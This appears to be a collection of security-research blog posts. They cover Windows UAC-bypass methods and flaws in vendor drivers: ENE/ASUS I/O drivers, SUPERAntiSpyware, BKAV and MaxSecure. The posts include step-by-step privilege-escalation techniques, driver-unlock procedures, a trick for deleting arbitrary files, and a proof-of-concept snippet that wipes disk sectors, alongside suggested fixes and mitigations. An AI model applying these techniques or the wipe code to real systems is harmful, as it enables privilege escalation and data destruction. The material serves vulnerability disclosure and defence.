This method abuses debug objects to achieve elevation through appinfo direct talking via RPC. It is complex and non trivial. While it is using same RPC request as #38 it is completely different in implementation and bug/feature it abuses. At first stage we create non elevated process with RPC request and supplying DEBUG_PROCESS flag in process startup parameters. When appinfo processes our launch process request it uses CreateProcessAsUser API which automatically will create debug object if DEBUG_PROCESS is specified in process startup flags. The handle for this debug object will be stored inside TEB reserved field. All processes created by the same thread will share the same debug object. Note that appinfo uses thread pool so it could make sense to spam it with requests to fill it all. We capture debug object with NtQueryInformationProcess(ProcessDebugObjectHandle) call, detach debugger with NtRemoveProcessDebug and kill our first process - it was only needed to allocate debug object on appinfo side. On the next stage we run autoelevated process again with help of direct RPC call and set thread debug object to our saved one. Next we process standard debugging message loop looking for CREATE_PROCESS_DEBUG_EVENT. Once hit we capture process handle from event and duplicate it with PROCESS_ALL_ACCESS desired access rights. Then resulting handle used to create final payload process with help of CreateProcess and PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect parent process creation.

5) Possible fix

This need a fix on appinfo side. Perhaps you could ensure that there is no debug object set when creating a High IL process by request from Medium IL.

💥Method #61

1) Description

This method is similar to #33. The only difference is the target key and application. Target key here is HKCU\Software\Classes\Launcher.SystemSettings\shell\open\command @Default value (+DeletegateExecute as usual) and trigger is slui.exe which is started with runas verb.

2) WD detection

WD is capable to detect this. As detection it will show you one of the previously highlighted behavior signature names used in similar methods as they cross check this method. Writing (direct or indirect) to that key default value triggers detection.

3) WD detection bypass

#Similar to #33

4) Lazy fix for WD

Similar to #33

5) Possible fix

Similar to #33 

💥Method #63

1) Description

This method is relatively new. It uses dll injection to the Windows Native Image Cache (NIC), forces it to be used and then exploits by running Windows Firewall MMC snap-in. Files in NIC are accessible to Administrators group so we can reset their security permissions (by using ISecurityEditor autoelevated COM interface) and after that overwrite file contents with your payload. Required target file for overwrite located by searching in installed assemblies and comparing MVID (Module Version Id) of files.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect write event to NIC from Medium IL process.

5) Possible fix

Administrator group should not have write access to NIC directory and it contents.


Of course the best and lazy way to circumvent everything from above is not use Administrator group account at all. I'm not talking about AlwaysNofity UAC setting because as proven by time it is useless. However I would like to point that current Windows eco system evolved from Windows XP times with deep rejection of UAC since Vista fuckup. Thus, no matter what you tell or want, default account still will have administrator group. Idiotic shield icon doesn't help a lot too giving people sort of placebo. Nothing from above is a rocket science or require millions of dollars for fix. Fix your leaky shield.

As of UACMe 3.5 I've no further plans to fight WD next wave of signatures by giving them free help. I have no doubt they will implement more and more measures against UAC bypasses in future, not necessary against mentioned methods or in the mentioned ways. It doesn't really matter and personally I don't care. What I wanted to show - is that if someone want to bypass WD behavior signature - it will highly likely do this without significant problems.

If something new, creative and working will be discovered - it will be added in UACMe 3.5+ versions. Old 3.2.7 branch will be still available but without any further support from my side. Speaking about new, creative and working methods - see P.P.S. next.

P.P.S. Comedy Section Bonus

Every year you can find a lot of junk noise about yet another "uac bypass" involving something with Open/Save/Print what ever dialogs. It is when "hackers" runs some elevated process, then clicks somewhere in it menu, spawns shell dialog and runs programs from it through menu. Woohoo, Windoze [email protected]$$3d M1cr0$0ft SuXx! Or another example is some modification in system that must be triggered by manual clicking somewhere in target application running at High IL.  

Nothing from this is UAC bypass as it require massive user interactions with UI and target applications have High IL preventing GUI hacking. That doesn't mean you can't do GUI hacking at all - method #55 proves it is possible, however NONE of these elite hackers are even close to something like that, because it is simple not their level. Any of such posts are just attention whoring and nothing else. If you can't automate your "bypass" it is not a bypass otherwise I'm giving you ultimate UAC bypass working with AlwaysNotify - select an executable file on disk, right click on it - press "Run as Administrator", when UAC window popup - confirm it. Ultimate "bypass" done, probably needs a video to be recorded, ROFL.

Another kind of attention whore scam release their ultimate "private" tools (together with snot with bubbles) claiming old well known methods as something they used "privately" for "years" and now "released to the public", because they, you know, "s3curity r3s3arch3rs" (just like that funny guy who managed to copy-paste from everywhere without understanding what he copy-paste).

Microsoft has determination of what they consider security boundary and what is not. UAC as you guess - is not a boundary, we can go to usual demagogy here, but that is the fact. This is one side of the medal. From the other side, malware usually need this not only as a some bonus but as critical for it viability. So you have a dilemma - some broken mechanics you don't consider as worth looking at and real malware taking this as essential part. Because of that you always will have a lot of noise around UAC. Unfortunately most of this noise will come from typical internet idiots (included in target audience of malware and most of malware developers).

Unfortunately both types of mentioned guys does a lot of white noise each year which makes it harder to find real methods as you have to filter out tons of such trash. Don't be like them. While maybe not that sophisticated and complicated UAC is still part of Windows and integrated to the system. It is not about OpenDialog. The better you understand Windows internals the better you understand how UAC works and it weakness (and the more you laugh at yet another idiot with OpenDialog). Aside of this some of these bypasses are usually accompaned by various different mechanics, algorithms and internals that need to be researched. 

There is a still a lot of possible real UAC bypasses undiscovered since this system mechanics is entirely broken in many ways and these methods are just waiting to be exploited.


All the links to the original authors descriptions are provided at UACMe page and inside source (where available). Make sure to visit and view original authors content if you like their methods. Also note that actual UACMe implementation of their methods maybe different from original.

1. UACMe - https://github.com/hfiref0x/UACME

✇The Vault

"ENE Technology Inc" - vulnerable drivers global provider

By: hfiref0x


Pic 1. Official logo.

ENE Technology Inc is a Taiwan based company founded in 1998. According to their website hxxp://www.ene.com.tw/index-en.php and Bloomberg summary:

ENE Technology Inc. develops, manufactures, and markets IC (integrated circuit) products. The Company's products include application-specific integrated circuits (ASICs), controller ICs for power switches, and notebook keyboards. 

However most of you will probably know them by piece of software - a ridiculously bugged driver bundle that ships with multiple software products of variety of hardware vendors, including but not limited to MicroStar, MicSys, ASUS, ASRock and some others. It is written by a very interesting developer(s) and I believe it is the same for all multiple variants of this driver bundle. The figure(s) behind this driver is awesome as I encounter their "creativity" multiple times and each time they manage to surprise me in a way when you expect that it can't be worse. 

Lets say what will happen when you hire someone with mediocre C-language understanding, who discovered official documentation just in 2020 but has a great google search skills? Nothing really bad, most of AV companies are full of such people (its a joke), but at least they have someone who can control them. ENE Technology Inc software products that will be discussed next is an example of what happens when no one control such people and their "creativity".

It's all about I/O


When it comes to hardware vendors giveio type drivers in 90% it is all based on three main sources:

  • Windows DDK samples that are dated back to Windows NT 3.51 (hello Unwinder);
  • WinRing0 open sourced library by hiyohiyo (CrystalMark author);
  • WinIO open sourced library by Yariv Kaplan (from internals.com).

Just a coupe of bugs inside these sources:

  1. No requestor access rights check - all driver devices are created with default security descriptor meaning everyone have read/write access to them;
  2. No input parameters checking or they are insufficient/incorrect - easy way to crash your system from any user;
  3. Unrestricted functionality - you can read/write anywhere, any ports, MSR's.

Currently hardware vendors are mostly blatantly copy-paste from these sources with minimal changes, if any. Sometimes their drivers contain functionality their products does not need at all. 

Reasons why this is a bad approach:

  • All of the above were created without any kind of security in mind. It was forgivable to old DDK samples but totally inappropriate for everything else. So this code is failure by design and created with Windows XP in mind;
  • Original codebase contain obvious programming mistakes - HW vendors mostly don't care and rarely fix anything.

It is a common trend for almost EVERY gaming hw vendors available today.

Pic 2. Choose your exploits provider.

When it comes to ENE Tech Inc drivers they are based on WinIO of 3.0 version. My first encounter was ASUS GLCKIo2 driver. 

Pic 3. ASUS locked GLCKIo2 driver.

It was all about same copy-pasta, but with ridiculous addition. This driver was "locked" for non trusted application access. This mean you have to "register" yourself as a good caller before doing any other job with this driver. This is fascinating - author more worried about who will be using his driver more than quality of driver code he copy-pasted. The "unlocking" process of GLCKIo2 driver was the following:

  1. In client application - call GetCurrentProcessId(), modify result with SWAP_UINT32 macro;
  2. Copy result to local 16 bytes length buffer;
  3. Encrypt this buffer with AES ECB, using TinyAES open source code, as key they used slightly modified values found in Google search (😎);
  4. Call driver with special IOCTL passing encrypted buffer as input parameter;
  5. Driver processes this IOCTL, decrypts buffer (same TinyAES) and extracts PID to remember it in internal list of "trusted" applications;
  6. When other IOCTL called - driver checks if this call is from process with ID in trusted list - if so call allowed, otherwise access denied error will be returned to caller. 

It is merely a joke than anything else. Full unlocking -> https://gist.githubusercontent.com/hfiref0x/3d46c012eb6cffcba34f0006d38e5165/raw/b2792823f85bdd4d5a91a8c802d6f57320ad2cc1/GLCKIo2.c

Next I found ENE.sys driver signed with "Ptolemy Tech Co" certificate. It was based on WinIO but missing all these locking features. Curiously enough it contain the following pdb string: d:\winglckio_20180320\amd64\EneIo.pdb

Pic 4. ENE lock free variant.

It is hard to tell which one was the first, but ASUS lock feature may have explanation. Well, ASUS drivers were loved target for CVE scalpers - easy to get and sort of "addition" to infosec portfolio. If you google for GLCKIo driver you will find a lot of CVE noise around it, for example https://seclists.org/fulldisclosure/2018/Dec/34. With initial discovery in the end of 2017. So we can assume that this GLCKIo2 is a sort of response.This could explain caller registration introduction and code base switch. As "fix" it is pathetic and fixes nothing. This is not an ASUS only fault - all the above mentioned companies does the same. In general they give zero fuck about security of their customers, especially MSI.

Looking for more ASUS bugged drivers (there are LOT of them) I found an interesting coupe next. AsIO.sys (device name Asusgio) and AsIO2.sys (device name Asusgio2). First driver is an old standard copy-paste which has CVE noise assigned, second one is from our beloved ENE Tech Inc coders.

Pic 5. AsIO2 from our friend.

Specific code similarities found inside both drivers led to idea that they are both created by same author/team. It is slightly modified WinIO codebase (no bugs fixed, instead added more chaos) with another "driver lock", implemented in unusual way. The unlocking is only allowed from process that has specific PE resource inside named "ASUSCERT". That is how it generated:

  1.  Query current timestamp with GetSystemTimePreciseAsFileTime;
  2.  Convert it to seconds since 1970;
  3.  Copy value to 16 bytes length buffer and encrypt it using AES ECB (TinyAES again);
  4. AES key again found in Google search and slightly modified;
  5. Move result encrypted buffer to PE resources as "ASUSCERT" (without quotes).

When caller does request to the driver (any IRP_MJ_*) driver will query full image path of the caller, read file into buffer and parse for PE timestamp and RCDATA resource named ASUSCERT, decrypt it and extract timestamp. Next AsIO2 will check if the difference between PE timestamp and decrypred timestamp < 7200 (2 hours). If it is - then caller will be allowed to use driver. Thus to be able use this driver you just need a properly generated resource.


This obviously can't be threatened as security fix. 

Pic 6. Very secure, very fixed AsIO2.sys

Using same pattern I found several other drivers. For example driver called EneTechIo.sys (E:\GitSourceCode\Ene\SmbusSDK\driver_src\EneIo\x64\Release\EneIo.pdb)

Pic 7. EneTechIo driver from TOUGHRAM software bundle.

WinIO based, locked driver as usual. However they again changed unlocking algorithm. Instead of using PE resource they now passing encrypted buffer directly in each driver call as part of input data structure. Every payload driver function now checks if the call time within a small time window (few seconds). Unlocking it looks like this:


Worth to mention some debug version of Ene driver. It is lock free, has multiple DbgPrint's and contain the following pdb string (d:\winglckio_20180320\amd64\EneIo.pdb).

As of recent EneTechIo driver from fresh up-to-date of this post MSI Dragon Center bloatware (E:\GitSourceCode\IoAccess\SmbusSDK\driver_src\EneIo\x64\Release\EneIo.pdb).

Pic 8. EneTechIo from MSI Dragon Center (May 2020)

Key changes:

  1. TinyAES is no longer used, they switched to CNG (maybe also found it while doing usual Google searches for copy-pasta ready code);
  2. MSR related code removed;
  3. Introduced new requestor whitelisting check.

Driver setups image load notify callback (PsSetLoadImageNotifyRoutine) and looks for event when SB_SMBUS_SDK.dll is loaded. Note that name of dll is case sensitive. This dll is an API layer for interacting with EneTech driver. If filename contains SB_SMBUS_SDK.dll then driver will register process by it ID extracted from notify callback. No further checks implemented, so basically you can create dumb empty dll with SB_SMBUS_SDK.dll name, load it in your process and this driver will register you as trusted caller. Everything else will be the same as AES encoding mode is same and their implementations of course has no differences.

Code to unlock -> https://gist.githubusercontent.com/hfiref0x/bff37d328cb16d3df92f8743b4b054ca/raw/595531f209771943cecce799afd954029ba02b80/enetech_new.c

ENE Tech Inc authors doing everything possible (for them) to complicate their driver usage by third-party actors. Instead of fixing generic WinIO "bugs and features" they constantly (and with no success) reinventing the wheel.

P.S. Very company, very ENE Technology Inc.

When I found their website in Feb 2020 I was very surprised by it English section, because it was all full of 3rd party web injected links.

Pic 9. Ene website.









✇The Vault

SUPERAntiSpyware Backdoor SASKUTIL64

By: hfiref0x


Pic 1.Official logo that perfectly fits context.

While you probably never used this software you for sure heard about it like 10-12 years ago when it was heavily advertised as ultimate solution to the Windows spyware. From my opinion it always was a digital placebo which was hard to distinguish from typical fake av of that times. And, what a surprise, this software contain a specially designed system level backdoor any local user can use.

Quote from product web-site:

Protect your PC from malicious threats from malware, spyware, ransomware, trojans, keyloggers, and more.

No, it is not capable of that.



SUPERAntiSpyware has a few kernel mode drivers in it typical x64 installation, no matter Free or Pro version. These drivers are: saskutil64.sys and sasdifsv64.sys - both have no description so I myself figured out what they do. For x86-32 version these drivers also present as saskutil.sys, sasdifsv.sys, however they contain much more functionality and have several unfixed CVE assigned: CVE-2018-6471, CVE-2018-6472, CVE-2018-6473, CVE-2018-6474, CVE-2018-6476. Why do I know they are unfixed? Doesn't even need to check the code - all drivers compiled and signed NINE years ago in 2011 😊 Honestly I think they either lost drivers source code or lost their developers who can refactor code and fix mentioned bugs. Plus SUPERAntiSpyware itself has EoP CVE-2018-6475. Very cool already isn't? Seems SUPERAntiSpyware era ended together with Windows XP EOL, F. The 32bit drivers are pure BSOD/EoP generators and it was already mentioned like 10 years ago here -> https://seclists.org/fulldisclosure/2010/Mar/195 However it is all not so important or useful because it apply to 32bit version. 

In x64 version all devices in all drivers have default security descriptor and can be accessed for read/write by everyone. We are looking for something that can be useful for us, extra functionality we can use later in different project(s).

First driver I took was sasdifsv64.sys, it does nothing as "driver" (despite having device object and symbolic link) and it only purpose is to execute two procedures at entry point. Purpose of them - read list of files from dedicated registry subkey and either delete or move them. This is a typical shitcode solution often seen in low quality products.


Saskutil64 is much more interesting. It has a single IOCTL 0x9C402140 and it has unexpected functionality. This IOCTL handler invokes function I called "SaskCallDriver" which purpose is to build synchronous I/O write request and send it to device specifed by user by name. This function works with user mode supplied buffer of the fixed size that is a structure defined as:

typedef struct _CALL_DRV {
    WCHAR DeviceName[2048];

    LARGE_INTEGER StartingOffset;      
    SIZE_T DataSize;                   
    PVOID DataPtr;          

This structure declaration is self explaining, DeviceName should be fully qualified name of the device and DataPtr is a pointer to buffer located in user mode. The SaskCallDriver function bugged itself as it misses error handling in critical parts of the code and wrong data from user mode can easily result in system denial of service. Reconstructed source code of function below, note multiple bugs which can only be made by totally incompetent developers:

NTSTATUS SaskCallDriver(PIRP Irp)
    CALL_DRV* CallDrvStruct;
    PVOID writeBuffer;
    IRP* writeIrp;
    UNICODE_STRING deviceString;
    IO_STATUS_BLOCK statusBlock;
    KEVENT waitEvent;
    PDEVICE_OBJECT deviceObject;
    LARGE_INTEGER startingOffset;
    PFILE_OBJECT fileObject;

    CallDrvStruct = (CALL_DRV*)Irp->AssociatedIrp.SystemBuffer;

    __try {

        // This entire part makes no sense because IOCTL has transfer type METHOD_BUFFERED.
        // Thus pointer will always be kernel mode and this code will never be executed.
        if ((ULONG_PTR)CallDrvStruct < 0x8000000000000000)
            ProbeForRead(CallDrvStruct, 4120, 1);
            ProbeForWrite(CallDrvStruct, 4120, 1);



    __try {

        writeBuffer = CallDrvStruct->DataPtr;

        // This address comparison check ruins ProbeFor* functionality.
        // If invalid kernel address will be passed it won't be checked and code later will bugcheck.
        if ((ULONG_PTR)writeBuffer < 0x8000000000000000)
            ProbeForRead(writeBuffer, CallDrvStruct->DataSize, 1);
            ProbeForWrite(CallDrvStruct->DataPtr, CallDrvStruct->DataSize, 1);




    RtlInitUnicodeString(&deviceString, CallDrvStruct->DeviceName);

    IoGetDeviceObjectPointer(&deviceString, 0x80, &fileObject, &deviceObject);  // No check of API call

    startingOffset = CallDrvStruct->StartingOffset;

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    writeIrp = IoBuildSynchronousFsdRequest( // No check of API call

    writeIrp->Flags = IRP_BUFFERED_IO;

    if (IofCallDriver(deviceObject, writeIrp) == STATUS_PENDING) // This will bugcheck if anything from above failed.
        KeWaitForSingleObject(&waitEvent, Executive, KernelMode, FALSE, NULL);

    return STATUS_SUCCESS;

This is pure backdoor by it nature, design and implementation. There is no security checks implemented in driver, it device has default security descriptor, it is also a complete disaster from programming point of view because authors of this code does not understand basics of Windows driver development at all. 

This code gives any local user ability write arbitrary data to the arbitrary device. I took some time looking how SUPERAntiSpyware uses this and it turns out it has NTFS parsing ability, so this IOCTL is used to work with filesystem data, presumable modify existing files/attributes during "spyware removal" procedures. As you can understand the usage of this feature maybe various, from trivial data wipe similar to APTs based on EldoS RawDisk (like for example Dustman) to elevation of privilege through rewriting files on disk. There is no adequate fix for this except removing that functionality completely and thus rewriting this driver from scratch. Below is a demonstration in Windows 10 latest version from regular user account. It is simple data wipe of disk sectors with:

    WCHAR writeData[512];

    memset(&writeData, 0xFF, sizeof(writeData));
    RtlSecureZeroMemory(&request, sizeof(request));

    wcscpy_s(request.DeviceName, L"\\Device\\Harddisk0\\DR0");
    request.DataSize = sizeof(writeData);
    request.DataPtr = (PVOID)&writeData;

    for (ULONG i = 0; i < 65; i++) {

        request.StartingOffset.LowPart = (i * 512);
        printf_s("[+] Writing 512 bytes buffer in DR0 device at offset 0x%llx\r\n", request.StartingOffset.QuadPart);

        ntStatus = CallDriver(deviceHandle,

        printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus);


Pic 2. SASKUTIL device, default security descriptor.

Pic 3. Windows 10 version.

Pic 4. Data wipe in progress.
Pic 5. Data wipe complete.

Theoretically you can even try to send some tcp/udp packets with this thing. Such an ironic end of that SUPERAntiSpyware 😉 All current x64 versions with same driver and functionality are vulnerable - basically you can destroy all data on every PC where SUPERAntiSpyware x64 version installed and do this from any local account.

Since impact of making such information public maybe destructive it was decided notify vendor first. However it turns out they don't have easy ways to do that. In process of trying to communicate it was discovered that this vendor had previously ignored all found exploits for two years and produced series of absolutely inadequate fixes for exploits ten years ago, basically leaving them as is. Taking into account this and the fact that SUPERAntiSpyware as product looks totally obsolete it was decided to make information public. However if you for some unknown reason still use this software see Mitigations part to eliminate your risks. As of new users I highly do not recommend try/consider a purchase this software - this is not only waste of your time/money but also keep it mind you are installing easy to use backdoor on your PC which cannot be easily prevented.


As mitigations I would suggest immediately remove SUPERAntiSpyware and make sure it uninstalled all it drivers - check it files and registry entries. Until vendor will not remove this "functionality" backdoor completely this program should be considered dangerous to use. However history of SUPERAntiSpyware driver exploits shows these drivers are created by incompetent developers who are unfamiliar with Windows drivers development, so only possible good fix - total removal of drivers from this product.

SUPERAntiSpyware driver SASKUTIL64.sys should be blacklisted by file hash or certificate as it can be used by data wiping malware (most obvious and easy use). And don't forget to use latest available Windows 10 with hypervisor enforced code integrity and WD enabled (at least its written by much more competent devs).
✇The Vault

BKAV - Arbitrary File Deletion Feature

By: hfiref0x
Today post is a continuation of journey into the wonderful world of so called "security solutions" full of programming unicorns and other kind of pure magic. Today it will be about BKAV or Bkav, whatever. This software is from Vietnam. While it definitely better than previously analyzed "MaxSecure" scam, it still not something I would recommend to use 😊 If you care about your files, of course. 😅

Our target is BKAV Professional (Internet Security AI 2019 whatever this mean) - super duper last version available for download.

During it install and startup this software install and load the following drivers.

Pic 1. BKAV drivers.
All these drivers have devices everyone can access. It can take a while debugging and reversing all of them (despite most have identical code patterns) however I got success with my first driver I tried. It is called BkavSP.sys and this is "BKAV SD Minifilter Module", version It is set to autoload each Windows boot with Start type set to SERVICE_SYSTEM_START. 

This driver has dispatch entry with user callable IOCTLs 0x2221CC, 0x22E141, 0x22E145. First one work with internal driver data, two others are more interesting. First is for file deletion, second is for file renaming. As filename they use parameter of device I/O control input buffer from user mode. However even if BKAV device called \Device\BkavSP has default security descriptor they can't be called directly without some little magic. This driver approves calls only from few processes that is hardcoded inside and requester checked everytime IOCTL 0x22E141 or 0x22E145 dispatch hit.

Approval algorithm is the following:
  • Query requester full image path name, ZwQueryInformationProcess(ProcessImageFileName), shake it a bit, lower chars;
  • Compare result with hardcoded values, if they equal - caller is trusted, process IOCTL.

Hardcoded values are: 

BkavService.exe, BluProService.exe, BkavFirewallService.exe, EnterpriseUpdateService.exe

They are expected to be in \SystemRoot\SysWOW64. And yes after installation there is at least one of them present - BkavService.exe. There is no validation if this is valid executables from BKAV or renamed or malicious, just filename comparison. Perhaps authors thinks if they are in SysWOW64 this protect them from tampering. That is a mistake. By the way I saw identical requester check in some trash from ASUS software with same pity result.

What we need to do is to run BkavService.exe with our code inside, create a typical zombie process. What is BkavService.exe? It is 32 bit application with requestedExecutionLevel = requireAdministrator set in embedded manifest. So we will use 32 bit loader and to be able to exploit this BKAVSP feature we need to bypass requireAdministrator manifest setting. We cannot modify this file as it in SYSWOW64 folder and we cannot use it from outside this folder. So we need another simple workaround. During CreateProcess phase we will create copy of our environment with RtlCreateEnvironment and extend it by RtlSetEnvironmentVariable with the new variable __COMPAT_LAYER with value RUNASINVOKER. Next this environment block will be supplied as parameter for CreateProcess API. This will override manifest setting and launch this BkavService.exe requiring administrator rights. From this zombie process we can do our "hack the planet" stuff. Even from Guest account.

The full source code below. As target for deletion selected Windows driver "pci.sys" with hardcoded path. You can use other filenames, they not necessary must be inside Windows directory.

I would suggest BKAV to reconsider the way they validate requester process, discover for yourself modern security API to secure driver devices and stop using code solutions found in Google search. Otherwise this is just another lolAV with loldrivers that only does damage to client PC. Moving this "security solution" to the Recycle Bin as usual.

Pic2. Running proof-of-concept from Guest account.

Pic 3. Inject success, device opened.

Pic 4. PCI.sys deleted successfully.

P.S. Journey will continue ⛵ The much more dangerous "security solutions" are still waiting for publication.
✇The Vault

MaxSecure = MaxVulnerabilities or yet another legalized FakeAV~

By: hfiref0x
While looking for more "loldrivers" I was digging into numerous crap utilities/bundles from various hardware vendors. Results were outstanding, few dozens of vulnerable drivers in most recent versions from all possible hardware vendors. Especially this apply to so-called "PC gaming" part and various "RGB control" trash. In their products you can find literally all kind of bugs from multiple software crashes to system denial of service and numerous LPE. Most of these bugged crap is WHQL signed. Unfortunately HVCI is not complete panacea here because in my tests most of drivers, where declared special support of Windows 10, perfectly works with HVCI enabled, while most dangerous features like overwriting memory are indeed will be blocked, everything else works as before. Not to say that HVCI is itself not ready to be mainstream and room of opportunities is still big. This feature is like 10 years late just as KPP during its appearance. The Microsoft is the only one who to blame here. Starting from chaos in their development guides, frameworks and available examples and ending up with the way they validate drivers for WHQL. It all become too complicated, too costly, too big and too crappy.

Next we are going to "fake av" scene, where multiple of so-called "antimalware" solutions in reality are working as digital placebo with additional dangerous impact because due to exceptional design and implementation they just extend attack surface of target machine. Last time I've checked AV's in the late of 200x, starting from that infamous bugged crap called Kaspersky AV 6.0/7.0 in 2007 (had a lots of ROFL's when I got a look on actual source code in 2010) and ending up with product from Daniloff sect (2009-2010). As reference for search we are looking on VirusTotal usual report of anything. With the desire to cram as much as possible vendors and their products (and probably because of trivial greed) VirusTotal now is like a shop window where you can find everything you want. Take a hint, while there more than 70 vendors listed in report, only ~20% of them are real AV with reputation, resources and knowledge base. Anything else here is an antispyware solutions at best, academic trash, co-branded trash and just a trash and legalized fakeAV's. The value of these legalized fakeAV's is ZERO, they don't deserve anything including bugreports - they are clients of Recycle Bin.

The first who got my attention was something called Zillya (it was in the end of VT report) - turned out it is another wannabeav this time from Ukraine. It has extremely vulnerable zef.sys driver which has assigned CVE-2018-5956, CVE-2018-5957, CVE-2018-5958. They are still valid as this vendor seems all busy with polishing it mediocre generic shitlike GUI. It was like a hint for me - oh lol, so in 2020 we still have situation like was 15 years ago and now it is even worse because number of vendors increased ten times. So I was looking for some fresh, new, unknown to me names in the scan list. And I found a true JEWEL of absurdity called MaxSecure.

Pic 1. Max Secure logo

Max Secure Software is from India. They develop so called "security" solutions of various kinds - full list here https://www.maxpcsecure.com/download.htm
Lets look on their top tier software bundle called Max Secure Total Security. Such names are usually good indicators of shitware. I would suggest authors consider few more cool secure names for their stuff like - Max Secure Total Secure Security and Max Secure Platinum Gold Security.

After installation on Windows 10 Max Secure Total Security load few drivers:

MaxCryptMon.sys (Max Secure Software Active Monitor Driver), WHQL
MaxMgr.sys (Max Secure Software Startup Manager Driver), WHQL
MaxProc64.sys (Max Secure Software Self Protection Driver), WHQL
MaxProtector64.sys (Max Secure Software Self Protection Driver), WHQL
SDActMonitor.sys (Max Secure Software Active Monitor Driver), WHQL

Spoiler: all these drivers are ridiculous inside and totally fucked up. Lets look what they do.

Pic 2. Max Secure installed callbacks as seen by WinObjEx64.

From the screenshot above it is obvious that MaxProc64 is responsible for protecting process objects and MaxProtector64 is for registry keys. Why not in single driver? That's interesting question, actually all this "product" is under big question mark - WTF is this?

Examining driver entries of all these drivers revealed they are build from the same base source code with copy-paste from Microsoft driver samples - https://github.com/microsoft/Windows-driver-samples Basically all these 5 drivers are build from one source code that just modified for each project. However MaxSecure managed to turn this code into circus of absurd. Taking MaxProc64 as example.

Pic 3. MaxProc64 driver entry.
The key functionality of WdmlibIoCreateDeviceSecure (IoCreateDeviceSecure) is mistreated and basically it call defaulted to simple IoCreateDevice. Which mean device object for this driver will have default security descriptor. Not to mention there is no check of APIs call results. I understand that SDDL language is very specific, however you can simple copy-paste ready-to-use SDDL string from the Microsoft examples. No, we have "~", whatever this mean. Not sure if this is a bug or intentional use. Anyway results on picture below.

Pic 4. Default SD as result of misused IoCreateDeviceSecure.
Since this code is shared between all five drivers, they all have the driver devices open for everyone access. There is a small exception for SDActMon as it seems created from more advanced source code version. However SDDL string they use here is equivalent to default security descriptor.

What can we do with these drivers? Not that much, however we can completely disable all it "protection". Each of this drivers contain IOCTL dispatch routine that always return STATUS_SUCCESS no matter if IOCTL is valid for this driver or not. Example from MaxProc64.
IOCTLs 0x220007 and 0x220015 are intended to change global variable state to TRUE or FALSE, which is later checked in the ObCallback routine. If it is set to FALSE this routine will quit without doing anything. The same IOCTLs present in SDActMon/MaxProtector64/MaxCryptMon drivers where they change behavior of CmCallback routine, allowing for example to completely disable this so-called "self-protection". If we look on dispatch routine IOCTL 0x220019 is a just BSOD-generator, as invalid data passed by DeviceIoControl will ultimately lead to exception and BSOD. This IOCTL shared between drivers and they all will blue screen as well. Other drivers (except MaxMgr which has empty dispatch routine) contain more IOCTLs (e.g. 0x220009, 0x220011 in MaxProtector64) and almost all of them can be bugchecked same way. Exceptional absence of any kind of quality.

Pic 5. Typical MaxSecurity.
These drivers actually doing almost nothing useful anyway. Some of them running system threads where endlessly looping over reading registry keys, some build list of blocked registry keys by reading it from INI file in program directory. Everything is completely bugged and BSOD friendly. All these drivers are written without proper understanding what they are doing and for sake of what. The only adequate solution to this MaxSecure chaos - complete it uninstall and manual cleanup if required.

Pic 6. Ultimate end for MaxSecure and it products.

Bonus or blast from the past.

While working this piece of software creates hidden directories in the root directory of your system drive. It stores multiple files inside which makes little sense but one of it got my attention. It is 32 bit driver called Data04.sys with internal name SDManager.sys signed with modern SHA256 certificate in 2018. This driver does nothing after load and it only purpose is to execute code at it driver entry. At first code attempts to delete file with ZwDeleteFile call and then if it was unsuccessful - overwrite this file with ZwCreateFile. The file it does not like is \SystemRoot\system32\drivers\TDSSserv.sys. Which is TDSS rootkit of version 1.0 distributed in 2008. This makes me think that the entire MaxSecure scam evolved from primitive noob solutions like this. What this ancient crap is doing in their modern software bundle is completely unknown.
✇The Vault

VBoxHardenedLoader v2

By: hfiref0x
Pic 1. VBoxHardenedLoader VM historical splash screen from 2014.

This is a major update of VBoxHardenedLoader which initial purpose is to hide VirtualBox from detection by various skid malware available up to date.

Key changes:

1. Support of new VirtualBox 6.1.x version

The VBox 6.1 version brings huge number of changes under the hood and none of previous loaders will work with it correctly. This includes updates ACPI tables, BIOS rom files and EFI ROM module.

2. New monitoring driver and new way of it loading.

VBoxHardenedLoader historically uses Tsugumi.sys to patch VBoxDD.dll library in run-time, when VBox process is loading them. This dll contain a lot of detection traces that next can be used to detect virtual machine from the inside. Because of idiotic feature created by Oracle and called "hardening" there is no other ways to do that on Windows except patch this dll during run-time and do this only from kernel mode as Oracle "hardening" actively opposes any attempt to do changes from user mode.

Since version 2 there is no more TDL involved as driver loader and as fact there is no more Tsugumi driver. TDL is known to have issues with newest Windows 10 versions as well as PatchGuard is really unhappy with drivers it map. Instead of TDL VBoxHardenedLoader is now include KDU (Kernel Driver Utility) codebase to install and start in kernel mode monitoring code. The entire KDU project as in fact was developed just to replace TDL for VBoxHardenedLoader. This new monitoring code is a shellcode version of initial Tsugumi driver specially reimplemented for KDU usage and PatchGuard checks. You can read how KDU work from it readme section of github https://github.com/hfiref0x/KDU#how-it-work. However this is *lite* version of what is used in VBoxHardenedLoader. Extended version does a lot more - it control Process Explorer victim driver unload routine (fully reimplements it) and uses victim driver data section to store it own data. In fact there is nothing much left from original Process Explorer driver after Tsugumi takes control.

This also highlights obvious limitation - when you are using VBoxHardenedLoader you can't use Process Explorer from SysInternals at full it capabilities. Well, it will work, but it driver won't accept any commands from Process Explorer application. If Process Explorer attempt to unload it driver this will just result in Tsugumi monitoring stop. Driver will be unloaded and next time when starting VM with settings from VBoxHardenedLoader you will have to restart loader again, otherwise VM won't start. So if you want a free and much more powerful alternative - just use Process Hacker instead. Honestly, Process Explorer is useless and seems exist just to serve as a placeholder for shellcodes.

3. Reimplemented installation guide to reflect main changes.

The above changes resulted in installation guide remake, everything related to TDL was removed. Some guide sections simplified, screenshots and settings refreshed for VBox v6.1.2.

Take a note that some detection vectors are still working because they based on things Oracle does not want (or able) to fix for years.

Project link

It would be much easier if in some day some smart guy from Oracle management will force out "hardening" idiocy or at least make it optional or/and configurable.
✇The Vault

Unwinding RTCore

By: hfiref0x

This is a response to recent Unwinder claims and behavior related to vulnerabilities found in his RTCore32/64 driver which is a part of MSI Afterburner. I almost forgot about him and his software but recently this guy reminded himself again.

RTCore overview
